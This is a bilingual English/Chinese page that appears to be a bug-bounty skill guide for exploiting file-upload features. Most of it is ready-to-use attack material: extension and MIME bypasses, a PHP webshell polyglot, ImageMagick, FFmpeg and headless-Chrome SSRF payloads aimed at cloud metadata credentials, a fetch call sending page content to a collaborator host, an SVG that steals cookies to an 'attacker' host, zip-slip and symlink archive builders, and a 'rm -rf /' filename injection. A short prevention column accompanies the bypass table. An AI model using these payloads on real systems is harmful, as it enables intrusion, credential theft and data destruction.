hunt-file-upload

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

9. FILE UPLOAD

9. 文件上传

Content-Type Bypass

Content-Type 绕过

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants
filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

文件上传绕过技术(10 种技术)

AttackHowPrevention
Extension bypass
shell.php.jpg
,
shell.pHp
,
shell.php5
Allowlist + extract final extension
Null byte
shell.php%00.jpg
Sanitize null bytes
Double extension
shell.jpg.php
Only allow single extension
MIME spoofContent-Type: image/jpeg with .php bodyValidate magic bytes, not MIME header
Magic bytes prefixPrepend
GIF89a;
to PHP code
Parse whole file, not just header
PolyglotValid as JPEG and PHPProcess as image lib, reject if invalid
SVG JavaScript
<svg onload="...">
Sanitize SVG or disallow entirely
XXE in DOCXMalicious XML in Office ZIPDisable external entities
ZIP slip
../../../etc/passwd
in archive
Validate extracted paths
Filename injection
; rm -rf /
in filename
Sanitize + use UUID names
攻击方式防护
扩展名绕过
shell.php.jpg
,
shell.pHp
,
shell.php5
允许列表 + 提取最终扩展名
Null byte
shell.php%00.jpg
清理 Null byte
双扩展名
shell.jpg.php
仅允许单一扩展名
MIME 欺骗Content-Type: image/jpeg,文件内容为 .php验证 magic bytes,而非 MIME 标头
Magic bytes 前缀在 PHP 代码前添加
GIF89a;
解析整个文件,而不只检查文件头
Polyglot同时是有效 JPEG 和 PHP使用图像库处理,无效则拒绝
SVG JavaScript
<svg onload="...">
清理 SVG,或完全禁止 SVG
DOCX 中的 XXEOffice ZIP 中的恶意 XML禁用外部实体
ZIP slip压缩包中使用
../../../etc/passwd
验证解压后的路径
文件名注入文件名中包含
; rm -rf /
清理文件名并使用 UUID 命名

Magic Bytes Reference

Magic Bytes 参考

TypeHex
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04
类型十六进制
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04

Stored XSS via SVG

通过 SVG 实现存储型 XSS

xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg Exploitation

ImageMagick / FFmpeg 利用

ImageMagick SSRF / File Read (ImageTragick family + modern variants)

ImageMagick SSRF / 文件读取(ImageTragick 系列及现代变体)

bash
undefined
bash
undefined

Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)

Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)

MVG SSRF payload — fetches internal URL during processing

MVG SSRF payload — fetches internal URL during processing

cat > /tmp/ssrf.mvg << 'EOF' push graphic-context viewbox 0 0 640 480 fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)' pop graphic-context EOF
cat > /tmp/ssrf.mvg << 'EOF' push graphic-context viewbox 0 0 640 480 fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)' pop graphic-context EOF

SVG SSRF (ImageMagick processes SVG remotely)

SVG SSRF (ImageMagick processes SVG remotely)

cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/> </svg> EOF
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/> </svg> EOF

WebP/AVIF processing bugs (modern surface — CVE-2023-4863)

WebP/AVIF processing bugs (modern surface — CVE-2023-4863)

Upload a crafted WebP file targeting libwebp heap overflow

Upload a crafted WebP file targeting libwebp heap overflow

undefined
undefined

FFmpeg SSRF via HLS Playlist

FFmpeg 通过 HLS 播放列表实现 SSRF

bash
undefined
bash
undefined

FFmpeg processes m3u8 playlists and fetches referenced segments

FFmpeg processes m3u8 playlists and fetches referenced segments

cat > /tmp/ssrf.m3u8 << 'EOF' #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://169.254.169.254/latest/meta-data/iam/security-credentials/ #EXT-X-ENDLIST EOF
cat > /tmp/ssrf.m3u8 << 'EOF' #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://169.254.169.254/latest/meta-data/iam/security-credentials/ #EXT-X-ENDLIST EOF

Also works with concat demuxer

Also works with concat demuxer

cat > /tmp/concat.txt << 'EOF' ffconcat version 1.0 file 'http://COLLAB_HOST/ffmpeg-ssrf' EOF
cat > /tmp/concat.txt << 'EOF' ffconcat version 1.0 file 'http://COLLAB_HOST/ffmpeg-ssrf' EOF

Test: upload .m3u8 or video file to any video processing endpoint

Test: upload .m3u8 or video file to any video processing endpoint


---

---

Headless Chrome / PDF Generator SSRF

Headless Chrome / PDF 生成器 SSRF

HTML → PDF Converter Attacks

HTML → PDF 转换器攻击

bash
undefined
目标:发票生成器、报告导出器、截图服务
注入 HTML,使 Headless Chrome 获取内部资源
bash
undefined

Target: invoice generators, report exporters, screenshot services

Target: invoice generators, report exporters, screenshot services

Inject HTML that causes headless Chrome to fetch internal resources

Inject HTML that causes headless Chrome to fetch internal resources

SSRF via CSS import

SSRF via CSS import

PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

SSRF via HTML iframe

SSRF via HTML iframe

PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

Local file read

Local file read

PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

JavaScript execution (if sandbox not enforced)

JavaScript execution (if sandbox not enforced)

PAYLOAD='<html><body><script> fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML)); </script></body></html>'
PAYLOAD='<html><body><script> fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML)); </script></body></html>'

Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint

Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint

curl -s -X POST "https://$TARGET/api/generate-pdf"
-H "Content-Type: application/json"
-d "{"html": "$PAYLOAD"}"

---
curl -s -X POST "https://$TARGET/api/generate-pdf"
-H "Content-Type: application/json"
-d "{"html": "$PAYLOAD"}"

---

Archive Extraction Attacks (Zip Slip / Symlink)

归档文件解压攻击(Zip Slip / 符号链接)

bash
undefined
bash
undefined

Zip Slip — path traversal via archive filenames

Zip Slip — path traversal via archive filenames

pip3 install evilarc python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
pip3 install evilarc python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip

Symlink attack — archive contains symlink to sensitive file

Symlink attack — archive contains symlink to sensitive file

mkdir -p /tmp/sym_attack ln -s /etc/passwd /tmp/sym_attack/innocent.txt zip -ry /tmp/symlink.zip /tmp/sym_attack/
mkdir -p /tmp/sym_attack ln -s /etc/passwd /tmp/sym_attack/innocent.txt zip -ry /tmp/symlink.zip /tmp/sym_attack/

TAR symlink attack

TAR symlink attack

tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/

Test: upload to any /import, /extract, /unzip endpoint

Test: upload to any /import, /extract, /unzip endpoint

curl -s -X POST "https://$TARGET/api/import"
-F "file=@/tmp/zipslip.zip"

---
curl -s -X POST "https://$TARGET/api/import"
-F "file=@/tmp/zipslip.zip"

---

Related Skills & Chains

相关 Skill 与攻击链

  • hunt-rce
    — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot
    GIF89a;<?php system($_GET['c']);?>
    bypasses magic-byte check +
    .phtml
    extension bypasses allowlist →
    GET /uploads/shell.phtml?c=id
    → RCE; or PHP
    phar://
    upload to a sink calling
    file_exists()
    on the attacker-controlled path → PHP object deserialization → RCE.
  • hunt-xxe
    — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose
    [Content_Types].xml
    or
    word/document.xml
    includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil
    /etc/passwd
    or
    web.config
    via the document parser.
  • hunt-xss
    — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with
    <script>fetch('//attacker/?'+document.cookie)</script>
    → victim views attachment at
    app.target.com/uploads/x.svg
    (same origin, not sandboxed) → cookie theft → ATO via session hijack.
  • hunt-ssrf
    — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with
    <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
    or ffmpeg
    concat:http://internal/...
    → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
  • security-arsenal
    — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants,
    .phtml
    /
    .phar
    /
    .php5
    /
    .pht
    ,
    .htaccess
    upload to re-enable handlers,
    web.config
    upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
  • triage-validation
    — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual
    whoami
    round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
  • hunt-rce
    — 在经典 PHP/JSP/ASPX 技术栈中,一旦发现可通过 URL 直接访问的上传目录,或由反序列化器驱动的处理器,文件上传便是实现 RCE 最常见的路径。攻击链原语:polyglot
    GIF89a;<?php system($_GET['c']);?>
    可绕过 magic-byte 检查,且
    .phtml
    扩展名可绕过允许列表 →
    GET /uploads/shell.phtml?c=id
    → RCE;或者将 PHP
    phar://
    上传至攻击者控制、由调用
    file_exists()
    的 sink 处理的路径 → PHP 对象反序列化 → RCE。
  • hunt-xxe
    — Office 格式(DOCX/XLSX/PPTX)、SVG 和 SOAP 附件都是封装在 ZIP 中的 XML——每个涉及上传和解析的功能都是潜在的 XXE 攻击点。攻击链原语:上传一个 DOCX,其
    [Content_Types].xml
    或
    word/document.xml
    包含指向攻击者所控 DTD 的参数实体 DTD → blind XXE 带外文件读取 → 通过文档解析器外泄
    /etc/passwd
    或
    web.config
    。
  • hunt-xss
    — SVG、HTML 文件和 PDF 上传后若在同源页面提供,就会形成存储型 XSS 攻击面。攻击链原语:上传包含
    <script>fetch('//attacker/?'+document.cookie)</script>
    的 SVG → 受害者查看
    app.target.com/uploads/x.svg
    上的附件(同源且未启用 sandbox)→ 窃取 Cookie → 通过会话劫持实现 ATO。
  • hunt-ssrf
    — 图像处理库(ImageMagick、ffmpeg)会请求上传文件中引用的远程 URL。攻击链原语:上传一个 SVG/MVG,其中包含
    <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
    或
    concat:http://internal/...
    → SSRF 访问 AWS IMDS → 获取云凭据;ImageTragick CVE-2016-3714 系列在遗留环境中仍然存在。
  • security-arsenal
    — 使用文件上传绕过技术树:10 行扩展名/MIME/magic-byte 绕过表(双扩展名、null byte、大小写变体、
    .phtml
    /
    .phar
    /
    .php5
    /
    .pht
    、上传
    .htaccess
    以重新启用处理器、在 IIS 上上传
    web.config
    )、SVG/MVG/SVGZ 载荷、DOCX-XXE 模板、归档中的 ZIP slip 路径遍历、polyglot 生成器。
  • triage-validation
    — 应用 Reproducibility Gate(可复现性门槛)。一个成功上传但从未被提供访问、从未被执行、也从未被任何组件解析的文件不算漏洞发现——它只是一个只写 blob。严重 RCE 要求上传的 shell 完成实际
    whoami
    往返验证;存储型 XSS 要求弹窗在受害者浏览器中实际触发,而不只是文件存在于磁盘上。